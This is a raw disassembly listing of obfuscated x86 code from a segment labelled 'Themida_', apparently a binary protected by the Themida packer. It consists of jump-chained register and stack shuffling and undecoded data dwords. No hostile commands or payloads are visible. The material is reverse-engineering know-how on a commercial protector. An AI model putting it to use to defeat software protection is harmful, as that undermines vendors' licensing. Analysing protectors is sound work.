		dd 8704C483h, 248B2434h, 24348924h, 0B7B1E950h,	0BB530000h
		dd 46E14752h, 0C15BDF89h, 0CF8102EFh, 788719FBh, 328ECF81h
		dd 0DFF7651Eh, 0FFDA3AE9h, 289E2DFFh, 0F02966D8h, 0D8289E05h
		dd 43C80566h, 6EE93B08h, 31000080h, 0F75595C1h,	815D2414h
		dd 4ECh, 24048900h, 247A68h, 242C8900h,	0C1915D58h, 0E1C105E1h
		dd 2E1C105h, 0E6666853h, 34FFC08Fh, 3E2CE924h, 34890000h
		dd 7ABA5224h, 89563020h, 0C3815AD6h, 7ED3758h, 0B850F329h
		dd 2C0F1DF9h, 0E904E8C1h, 0B73Ah
dword_5537C4	dd 24048B66h, 7530E9h	; DATA XREF: Themida_:005506D4o
		db 0
; ---------------------------------------------------------------------------


loc_5537CD:				; CODE XREF: Themida_:0055F923j
		xor	cl, 0CFh
		jmp	loc_55B0BC
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 5Ah
		dd 5E356F32h, 5D5DE929h, 8B240C87h, 0E0E92424h,	59000060h
		dd 1012AE9h, 4EC8300h, 89243C89h, 2EBD55E7h, 8179A73Ah
		dd 2B3C01CDh, 11E5817Fh, 0F7485626h, 0FABE56D5h, 31B7F9D9h
		dd 0EF015EF5h, 4EF835Dh, 0FFE4FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553821:				; CODE XREF: Themida_:0055A0B2j
		sub	ebx, edx
		pop	edx
		add	ebx, edx
		add	ebx, 5CCB7CBBh
		jmp	loc_562054
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 21040000h, 4530E9h
		db 0
byte_553841	db 66h,	8Bh, 24h	; DATA XREF: Themida_:00550954o
		dd 0D165E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55384A:				; CODE XREF: Themida_:00556E6Cj
		add	bl, dh
		pop	edx
		mov	ax, [esp]
		add	esp, 2
		push	dword ptr [esp]
		jmp	loc_5577AC
; ---------------------------------------------------------------------------
		db 81h
		dd 66D2ABF5h, 0E06DE9E3h
		db 2 dup(0FFh)
word_55386A	dw 77FFh		; DATA XREF: Themida_:00550844o
		dd 59669D1Ch, 9C2414D2h, 0FFD136E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553879:				; CODE XREF: Themida_:00554E19j
		add	ebx, 4
		jmp	loc_5539F3
; ---------------------------------------------------------------------------


loc_553884:				; CODE XREF: Themida_:0055C915j
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_55A564
; ---------------------------------------------------------------------------
		db 56h
		dd 287C17BEh, 0C2EE8173h, 29F2C17Ch, 0F9295EF7h, 14E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5538B1:				; CODE XREF: Themida_:0055BBA7j
		xor	eax, edi
		pop	edi
		push	23EFh
		jmp	loc_561FB7
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 16F67289h, 0E95AD121h, 0A248h
; ---------------------------------------------------------------------------


loc_5538CC:				; CODE XREF: Themida_:00558FBBj
		pop	esp
		push	esi
		xchg	ecx, [esp]
		xor	ecx, edi
		xor	edi, ecx
		jmp	loc_562B35
; ---------------------------------------------------------------------------


loc_5538DA:				; CODE XREF: Themida_:005528C9j
		add	ebx, ecx
		pop	ecx
		shl	ebx, 8
		push	22FDh
		mov	[esp], edi
		push	edx
		mov	edx, 1FB13424h
		jmp	loc_55C185
; ---------------------------------------------------------------------------


loc_5538F3:				; CODE XREF: Themida_:00561C1Fj
		add	ebx, edx
		push	edi
		jmp	loc_55C128
; ---------------------------------------------------------------------------


loc_5538FB:				; CODE XREF: Themida_:00559137j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ecx
		push	edx
		mov	dl, 0C1h
		dec	dl
		shr	dl, 6
		neg	dl
		jmp	loc_55CD3E
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 8Ch
		dd 1237F6Fh, 0FFBA52F5h, 0C15B5A05h, 0E2C107EAh, 339DE908h
		dd 0F1810000h, 25949090h, 6BE9CD29h, 310000E5h,	75055FF8h
		dd 0E9398DA6h, 0F089h, 42474FFh, 0A4DDE9h, 8BFB0100h, 0C483243Ch
		dd 2EBC104h, 121A5E9h, 0CEF58100h, 812E813Ch, 0B83211F5h
		dd 5DEE2962h, 295EF729h, 6DE951CFh
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553987:				; CODE XREF: Themida_:00559A47j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55226E
; ---------------------------------------------------------------------------
		db 0BAh
		dd 369F78EFh, 0C107EAC1h, 814207EAh, 620678E2h,	94F28105h
		dd 89246161h, 0E9495AD1h, 615Bh, 0E95BDA01h, 0B5A3h, 83242C8Bh
		dd 0EC8104C4h, 4, 0E9240C89h, 0D5CDh, 8B242C87h, 0C892424h
		dd 4B924h, 0EA810000h, 0DA12F2Ah, 51E9CA01h, 590000C3h
		dd 6AE9E904h
		db 1Fh,	1, 0
; ---------------------------------------------------------------------------


loc_5539F3:				; CODE XREF: Themida_:0055387Fj
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	edx
		push	esi
		push	ebp
		jmp	loc_5530E4
; ---------------------------------------------------------------------------


loc_553A1E:				; CODE XREF: Themida_:0055569Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ebp, [esp]
		jmp	loc_55751A
; ---------------------------------------------------------------------------
		db 40h,	35h, 0EEh
		dd 486B7D54h, 3548D0F7h, 0E9FA928Dh, 77E9C201h,	810000DCh
		dd 182084F6h, 24048B27h, 0C01E9h, 0B08BD00h, 0DDF73903h
		dd 0BCCD814Dh, 0F729AF27h, 2E5C1D5h, 0E7BA5256h, 0BE42383Ah
		dd 4B396020h, 0E95AD629h, 10E4Ch
; ---------------------------------------------------------------------------


loc_553A78:				; CODE XREF: Themida_:00561EA4j
		push	edi
		mov	edi, 502A4908h
		sub	ebp, edi
		jmp	loc_563DAF
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9242C89h, 0FBF1h, 57D5685Dh, 0C890000h, 81595424h
		dd 4C1h, 4C18100h, 0E9000000h, 0FFFFD8E3h, 6824148Bh, 1D58h
		dd 81242C89h, 4ECh, 2357E900h, 0F7400000h, 6D0540D8h, 3579D138h
		dd 0CF045A9Eh, 8358C501h, 2C8704C5h, 24248B24h,	0CCE930FFh
		dd 50FFFFCEh, 103EEF68h, 24048B18h, 0E8D8E9h, 1C895C00h
		dd 42E924h, 215A0001h, 546859CEh, 0E9000020h, 0A642h
; ---------------------------------------------------------------------------


loc_553B08:				; CODE XREF: Themida_:00557105j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_55A36D
; ---------------------------------------------------------------------------


loc_553B28:				; CODE XREF: Themida_:0056025Ej
		add	esp, 4
		jmp	loc_5632FC
; ---------------------------------------------------------------------------
		db 80h
		dd 8B66D3C3h, 0C4832404h, 51C30002h, 0C180F6B1h, 74BCE9FFh
		dd 0F7810000h, 2E423CBh, 7858BA52h, 43E93266h, 550000BEh
		dd 4BA52h, 81520000h, 630C2434h, 815D5390h, 90630CF5h
		dd 0AFE95A53h, 87FFFFD0h, 0A9E9242Ch, 83000021h, 0EC8304C4h
		dd 243C8904h, 7472E9h
		db 0
; ---------------------------------------------------------------------------


loc_553B8D:				; CODE XREF: Themida_:00551DE5j
		push	2000h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		jmp	loc_55D167
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4055854h, 83000000h,	48704E8h, 0C870E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553BB6:				; CODE XREF: Themida_:0055B1AFj
		sub	esi, ebx
		add	esi, 70340C00h
		jmp	loc_557B16
; ---------------------------------------------------------------------------


loc_553BC3:				; CODE XREF: Themida_:00564D9Bj
		mov	edx, 55CD50E7h
		shl	edx, 3
		xor	edx, 0FF97AF88h
		sub	esi, 76DF73CBh
		jmp	loc_5580CA
; ---------------------------------------------------------------------------


loc_553BDC:				; CODE XREF: Themida_:00556BE9j
		pop	ecx
		shr	ecx, 3
		add	ecx, 1
		shl	ecx, 2
		inc	ecx
		xor	ecx, 45AC06DFh
		or	ebp, ecx
		pop	ecx
		jmp	loc_5587AA
; ---------------------------------------------------------------------------
		db 1, 0C2h, 0E9h
		dd 4674h
; ---------------------------------------------------------------------------


loc_553BFC:				; CODE XREF: Themida_:0055685Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	79F5h
		mov	[esp], ebp
		jmp	loc_55E780
; ---------------------------------------------------------------------------


loc_553C1B:				; CODE XREF: Themida_:00558100j
		push	0AEFh
		mov	[esp], ebp
		mov	ebp, 57CC72D7h
		jmp	loc_55B0E4
; ---------------------------------------------------------------------------
aYst		db 'YИtц',0
		db 0
; ---------------------------------------------------------------------------


loc_553C33:				; CODE XREF: Themida_:00551F5Bj
		mov	[esp], edi
		jmp	loc_55C5B7
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 331E900h, 0E2890001h, 4C281h, 0BFE90000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553C53:				; CODE XREF: Themida_:00563243j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_553C63:				; CODE XREF: Themida_:00550FE5j
		sub	al, 80h
		sub	al, bl
		add	al, 80h
		sub	al, 0C7h
		mov	ebx, [esp]
		jmp	loc_5598DD
; ---------------------------------------------------------------------------
		db 81h
		dd 0DE13BEC6h, 34335D4Dh, 24343124h, 8B243433h,	8B662424h
		dd 3E92404h, 89000059h,	8DB951E5h, 81386576h, 4ECh, 243C8900h
		dd 6244A5BFh, 0DAEF8100h, 0E9ACD9ECh, 54AEh
; ---------------------------------------------------------------------------


loc_553CB0:				; CODE XREF: Themida_:005520D8j
		add	eax, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 2
		add	eax, ebp
		pop	ebp
		jmp	loc_55969B
; ---------------------------------------------------------------------------
aZs		db 'ZИ=╢',0
		align 4
		dd 8B66E828h, 6468240Ch, 89000014h, 0E2892414h,	0CBE9h
		dd 24148900h, 0FFCCB6E9h, 1C895CFFh, 4EC8324h, 0FF240489h
		dd 0F8E92434h
		db 4, 1, 0
; ---------------------------------------------------------------------------


loc_553D0B:				; CODE XREF: Themida_:005594B2j
		pop	esp
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55C4C7
; ---------------------------------------------------------------------------


loc_553D16:				; CODE XREF: Themida_:0055CB01j
		push	eax
		mov	eax, 1CC8554Eh
		add	eax, 5E4617B5h
		add	edx, eax
		pop	eax
		add	edx, 8608C551h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55C339
; ---------------------------------------------------------------------------
byte_553D37	db 8Bh			; DATA XREF: Themida_:00550718o
		dd 70E92424h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553D3F:				; CODE XREF: Themida_:0055AD87j
		sub	esp, 4
		mov	[esp], ebx
		mov	bx, 64EFh
		push	esi
		mov	si, 579Fh
		jmp	loc_5593E1
; ---------------------------------------------------------------------------
aQtso		db 'QTИ╝&',0
		align 2
		dw 0C681h
		dd 65C33D58h, 4605E6C1h, 0AD35E9h, 0BB535C00h, 4, 34FFDE01h
		dd 0C4835B24h, 2C68304h, 31243433h, 34332434h, 24248B24h
		dd 7016E9h
		db 0
; ---------------------------------------------------------------------------


loc_553D8D:				; CODE XREF: Themida_:0055515Cj
		push	esi
		mov	esi, 75E94059h
		mov	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5521BE
; ---------------------------------------------------------------------------
aSX_0		db '[ИрЕ',0
		align 2
		dw 0EFC1h
		dd 8EFC108h, 0A3F7814Fh, 0E900006Eh, 0F9A0h, 0E6DDE951h
		dd 8705FFFFh, 13E8D0Bh,	0EDBB53C8h, 0F774C332h,	0A075E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553DD6:				; CODE XREF: Themida_:0055FEA3j
		pop	eax
		push	edx
		mov	edx, 1C64E75h
		push	edi
		mov	edi, 2C1748C8h
		xor	edi, 0D79AA1ACh
		sub	edx, edi
		pop	edi
		add	ebx, edx
		jmp	loc_55DC20
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5FE95000h, 2D0000FDh, 2743234Eh, 0F5DB951h, 0C1814297h
		dd 30A21EE6h, 7F56C181h, 0E18164A3h, 458605CAh,	6473C981h
		dd 0D9F73683h, 0F3C0F181h, 0C8018DC0h, 4EC8359h, 0BF243C89h
		dd 3E31100Dh, 4A26BB53h, 0DBF7508Dh, 5EE668h, 0BD2FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553E4A:				; CODE XREF: Themida_:0055A4B6j
		xor	ebx, 150346Fh
		xor	esi, ebx
		jmp	loc_5520F4
; ---------------------------------------------------------------------------
		db 5Fh
		dd 1BFA68h, 414E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_553E62:				; CODE XREF: Themida_:00561E62j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
word_553E72	dw 0E9ADh		; DATA XREF: Themida_:00550940o
		dd 0FFFFD798h, 82E9F089h
		db 0B2h, 2 dup(0)
byte_553E7F	db 66h			; DATA XREF: Themida_:005508B4o
		dd 68240C8Bh, 24CFh, 54242C89h,	81242C8Bh, 4C4h, 4C58100h
		dd 0E9000000h, 0E712h
; ---------------------------------------------------------------------------


loc_553EA0:				; CODE XREF: Themida_:0055118Ej
		push	ebx
		jmp	loc_557746
; ---------------------------------------------------------------------------
aLSB		db '▀$$И',1Bh,'b',0
		align 2
		dw 0EB81h
		dd 30F262A7h, 0FFF0C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553EB9:				; CODE XREF: Themida_:00554B5Aj
		xchg	esi, [esp]
		pop	esp
		mov	ebp, ecx
		pop	ecx
		jmp	loc_55AF42
; ---------------------------------------------------------------------------
byte_553EC5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005508E8o
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 81242C89h
		dd 4ECh, 241C8900h, 7DE9E389h, 8100006Bh, 4C3h,	4EB8100h
		dd 53000000h, 42474FFh,	24048F5Bh, 29A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_553F09:				; CODE XREF: Themida_:00551B6Bj
		mov	ebx, 195B6887h
		sub	ebx, 3DFE1189h
		sub	ebx, 747F08DFh
		add	ebx, 7F123422h
		sub	ebx, 0D7A00807h
		sub	edx, ebx
		mov	ebx, [esp]
		jmp	loc_55C68D
; ---------------------------------------------------------------------------


loc_553F30:				; CODE XREF: Themida_:00559D0Ej
		pop	edx
		jmp	loc_55F52D
; ---------------------------------------------------------------------------


loc_553F36:				; CODE XREF: Themida_:00550F1Cj
		xchg	ebp, [esp]
		pop	esp
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_550EC3
; ---------------------------------------------------------------------------


loc_553F45:				; CODE XREF: Themida_:0055F369j
		push	858h
		mov	[esp], ebx
		push	5C5Bh
		mov	[esp], ecx
		mov	ecx, 9E36046h
		push	2C59h
		mov	[esp], ecx
		xor	dword ptr [esp], 13892CA3h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552700
; ---------------------------------------------------------------------------
		dd 0E904C483h, 111C4h
; ---------------------------------------------------------------------------


loc_553F7C:				; CODE XREF: Themida_:0055453Dj
		mov	ecx, edi
		pop	edi
		push	3A02h
		mov	[esp], ecx
		pop	ebx
		mov	ecx, [esp]
		push	eax
		push	esp
		jmp	loc_5653CB
; ---------------------------------------------------------------------------
a1uHca		db ']1Н]h≈a',0
		dw 8900h
a4S4nrSC	db '4$S╩4Nr=И',0Ah
		db 'C',0
		dd 5BD82900h, 89C18951h, 34FF59CDh, 0C4815824h,	4, 0DD73E953h
		dd 44810000h, 63540424h, 86E97BB8h, 80000079h, 0D12841F2h
		dd 66C9FE5Ah, 0CE885250h, 87AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_553FE1:				; CODE XREF: Themida_:00554037j
		add	esp, 4
		mov	ebx, [esp]
		push	eax
		jmp	loc_550B5F
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 0E9000000h, 0FCD2h, 0CB8843B1h, 0E420E959h, 0C781FFFFh
		dd 4, 3AF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55400D:				; CODE XREF: Themida_:0055B08Fj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55A50A
; ---------------------------------------------------------------------------
a3414Smq	db '34$14$ИMQ',0
		align 4


loc_55402C:				; CODE XREF: Themida_:00559E58j
		sub	dword ptr [esp+4], 5354559Dh
		mov	eax, [esp]
		jmp	loc_553FE1
; ---------------------------------------------------------------------------
		dd 79BBB850h, 0C2D3029h, 31131F64h, 0E38158C3h,	2E54208Fh
		dd 274BCB81h, 0F3813878h, 4C424A86h, 502CEB81h,	0EB81048Ch
		dd 63407952h, 27D5EB81h, 0F3817705h, 976C7BF8h,	0E95BDA89h
		dd 748Bh, 0E95BDF89h, 33E2h, 4C481h, 5B040000h,	0EC81C828h
		dd 4, 0B1240C89h, 8E1C0DFh, 0FE82C180h,	0D1E980C1h, 8007E9C0h
		dd 0C828A6E9h, 0FCF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5540B1:				; CODE XREF: Themida_:005586ADj
		add	edx, 245261ECh
		xor	ebx, edx
		jmp	loc_56035A
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0EA705EC2h, 0C681587Eh, 67990B83h, 57ABEE81h, 0C6812676h
		dd 75510F77h, 34E9D629h, 0F6FFFFF6h, 5E3C0D3h, 9335E9h
		dd 8BEF2900h, 0C483242Ch, 2434FF04h, 8324048Bh,	0C48104C4h
		dd 4, 381AC781h, 0F831BBA8h, 0BF57555Fh, 3E18DDD3h, 6F39E9h
		dd 148B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55CC07
; ---------------------------------------------------------------------------


loc_554127:				; CODE XREF: Themida_:005527FAj
		push	esi
		push	2B15D57h
		pop	esi
		not	esi
		jmp	loc_56045E
; ---------------------------------------------------------------------------


loc_554135:				; CODE XREF: Themida_:0055D74Dj
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		mov	eax, edx
		pop	edx
		sub	ebp, eax
		mov	eax, [esp]
		jmp	loc_55C93B
; ---------------------------------------------------------------------------


loc_55414A:				; CODE XREF: Themida_:0055CFC0j
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_560A4B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 86E9241Ch, 80000071h, 0CF2885EFh,	5185C780h
		dd 0EF8012B1h, 0E9CF0058h, 0F7FBh, 0EC83535Bh, 243C8904h
		dd 0E2D1E9h, 5E545600h,	4C681h,	0EE830000h, 24343304h
		dd 33243431h, 78E92434h, 500000A0h, 783997B8h, 0F883E97Dh
		dd 433FFFFh, 24043124h,	8B240433h, 46E92424h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5541BB:				; CODE XREF: Themida_:00555720j
		pop	esi
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 6B163867h, 5E70B951h, 0CA2964BEh, 83240C8Bh,	0BB5304C4h
		dd 604A7C12h, 0F2E94343h, 2DFFFFEDh, 70A44C8Dh,	8D05D829h
		dd 0E970A44Ch, 0FFFFFBFFh
; ---------------------------------------------------------------------------


loc_554200:				; CODE XREF: Themida_:0055427Fj
		add	dword ptr [esp], 4
		jmp	loc_561FC9
; ---------------------------------------------------------------------------


loc_55420C:				; CODE XREF: Themida_:0056228Fj
		mov	[esp], esi
		jmp	loc_554965
; ---------------------------------------------------------------------------


loc_554214:				; CODE XREF: Themida_:00562B22j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	6139h
		mov	[esp], edx
		jmp	loc_554BEA
; ---------------------------------------------------------------------------


loc_55422D:				; CODE XREF: Themida_:0055C8B8j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55D98E
; ---------------------------------------------------------------------------
aANsz		db '─ф╜Иz`',0
		align 10h
		dd 815EF221h, 0D43120C2h, 3EAC144h, 8904EC83h, 87B82404h
		dd 810422F9h, 0C204EEAh, 81C2295Ch, 0C204EC2h, 0D029585Ch
		dd 0E924148Bh, 529Bh
; ---------------------------------------------------------------------------


loc_554270:				; CODE XREF: Themida_:0055C443j
		mov	ebp, esp
		push	3FABh
		jmp	loc_55C31F
; ---------------------------------------------------------------------------


loc_55427C:				; CODE XREF: Themida_:00557128j
		mov	[esp], esp
		jmp	loc_554200
; ---------------------------------------------------------------------------
		dd 0C1DDF758h, 505208EDh, 0DF19EAB8h, 0E616BA4Eh, 0C201B120h
		dd 7CC28158h, 81035D7Fh, 923A50EAh, 81EA2913h, 923A50C2h
		dd 7CEA8113h, 0E9035D7Fh, 0D8D3h, 0ED81D5F7h, 38CC753Dh
		dd 64D7ED81h, 0EE90AFDh, 890000F9h, 10E2E9E1h, 81590001h
		dd 4C1h, 4C18300h, 8B240C87h, 0C4832424h, 875E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5542EA:				; CODE XREF: Themida_:005558EBj
		pop	esi
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_557530
; ---------------------------------------------------------------------------
aS9		db '\И9╫',0
		dw 8100h
		dd 414D242Ch, 815E2868h, 68414DC6h, 0B9515A28h,	808132Eh
		dd 0E959C829h, 10966h, 24048F5Ah, 241C8B5Ch, 0FFD986E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554329:				; CODE XREF: Themida_:00557372j
		pop	dword ptr [esp]
		jmp	loc_55F360
; ---------------------------------------------------------------------------


loc_554331:				; CODE XREF: Themida_:00563088j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55A211
; ---------------------------------------------------------------------------
		dw 205h
		dd 33000000h, 3AE92404h, 0B0000061h, 28EB80C9h,	0C380C328h
		dd 48B6628h, 2C48324h, 0E9F3EB80h, 0E4F4h, 33BCE381h, 0EB815400h
		dd 3ADF0FB8h, 0EBC1D3F7h, 4EBC104h, 9CE0E9h, 5AD00000h
		dd 635CE9h, 2434FF00h, 592434FFh, 0E3F7E953h, 0C301FFFFh
		dd 0A7DDE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55439E:				; CODE XREF: Themida_:005564DBj
		push	esp
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5604D1
; ---------------------------------------------------------------------------


loc_5543AA:				; CODE XREF: Themida_:005635F0j
		mov	edi, 3B9F7019h
		add	edi, 0C982A86h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0DBAA7860h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	edx, 325C571Ch
		push	ebx
		jmp	loc_5653EA
; ---------------------------------------------------------------------------


loc_5543E2:				; CODE XREF: Themida_:00563AB0j
		mov	ebx, 434D2BB6h
		push	esi
		mov	esi, 0
		sub	esi, ebx
		jmp	loc_5623F7
; ---------------------------------------------------------------------------
		dd 0D0371268h, 0C1815972h, 8D2FC8F2h, 2D59CE89h, 3B8552DDh
		dd 80D4E9h, 4EA8300h, 8B241487h, 34892424h, 0AFBE24h, 0CE811F96h
		dd 512E2F8Ch, 8105E6C1h, 4ECh, 243C8900h, 5E5CD7BFh, 8BFE2105h
		dd 0C481243Ch, 4, 3CD1BD55h, 0BEE95516h
		db 8, 1, 0
; ---------------------------------------------------------------------------


loc_55444B:				; CODE XREF: Themida_:00559F72j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_5561AC
; ---------------------------------------------------------------------------


loc_554466:				; CODE XREF: Themida_:00559084j
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_556B3C
; ---------------------------------------------------------------------------


loc_554472:				; CODE XREF: Themida_:0055A0C4j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56337E
; ---------------------------------------------------------------------------
		dd 74FF515Ah, 68E90424h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55448F:				; CODE XREF: Themida_:00550B61j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56355A
; ---------------------------------------------------------------------------


loc_5544A1:				; CODE XREF: Themida_:00552E03j
		sub	ebp, 0C809A1ABh
		xor	ebx, ebp
		pop	ebp
		sub	ebx, 0A1E45E71h
		jmp	loc_56030B
; ---------------------------------------------------------------------------
aRsK		db 'RИ╧k',0
		dw 2900h
		dd 34FF240Ch, 0C4815924h, 4, 2C7BE981h,	0BA523FF1h, 29EB14E2h
		dd 0E0E9D121h
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5544DB:				; CODE XREF: Themida_:005653A8j
		pop	edx
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esp
		jmp	loc_560E21
; ---------------------------------------------------------------------------
		db 89h
		dd 0D8B9240Ch, 554A2B25h, 0A620B2BDh, 8FC58158h, 57062640h
		dd 0FE45C7BFh, 92EE934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554512:				; CODE XREF: Themida_:0056325Bj
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	edi, 5E816E1Bh
		jmp	loc_561096
; ---------------------------------------------------------------------------


loc_554537:				; CODE XREF: Themida_:0055AA42j
		sub	edi, 7427B3Eh
		jmp	loc_553F7C
; ---------------------------------------------------------------------------
aRqs		db 'RQИвй',0
		dd 8BEB2900h, 0C481242Ch, 4, 1563E9h, 4FE98100h, 177C16Bh
		dd 4FC181E9h, 6877C16Bh, 66F5h,	0BD242C89h, 68A30442h
		dd 4955ED81h, 0ED8131EAh, 527D479Eh, 8CF4E9h, 2434FF00h
		dd 4C4815Eh, 29000000h,	0BEB81C3h, 666F1777h, 10E930FFh
		dd 58FFFFC4h, 0B4D1E9h,	5FF80100h, 8758C701h, 248B243Ch
		dd 0B60F6624h, 1DE96800h, 0C2E90000h, 830000DFh, 0FF5104E9h
		dd 0E9042474h, 75B7h, 4268E9F7h, 8900006Fh, 8B54243Ch
		dd 0C481243Ch, 4, 4BB5352h, 89000000h, 1DE95BDAh, 5EFFFFE1h
		dd 34FFEA89h, 0CCEBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5545FA:				; CODE XREF: Themida_:00555A70j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55F177
; ---------------------------------------------------------------------------


loc_554614:				; CODE XREF: Themida_:005640E2j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_557538
; ---------------------------------------------------------------------------
aXstb		db 'XИt║',0
		align 10h
dword_554630	dd 24048B66h, 27D2E951h, 0E3860000h, 84CB050h, 2CF4E9C3h
					; DATA XREF: Themida_:00550904o
		dd 0E95A0000h, 679Ah, 7A91E95Dh, 0C4830000h, 8BF22904h
		dd 0C4832434h, 0FEF28104h, 81420A7Dh, 0F1494BF2h, 0E9D001C1h
		dd 0ED56h, 0BA241489h, 4, 7E75ED81h, 0CEE95825h, 58000098h
		dd 0FFEC92E9h, 4BDFFh, 0E9010000h, 0F00BE9h
		db 0
; ---------------------------------------------------------------------------


loc_554695:				; CODE XREF: Themida_:005532B2j
		mov	eax, 6A0D5778h
		dec	eax
		push	ebx
		mov	ebx, 9510616h
		add	ebx, 1
		or	ebx, 17DE613Ch
		inc	ebx
		jmp	loc_561F57
; ---------------------------------------------------------------------------
		dd 468F1F7h, 89000033h,	9C502414h, 0FFC2EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5546C1:				; CODE XREF: Themida_:0055F8B4j
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56374F
; ---------------------------------------------------------------------------
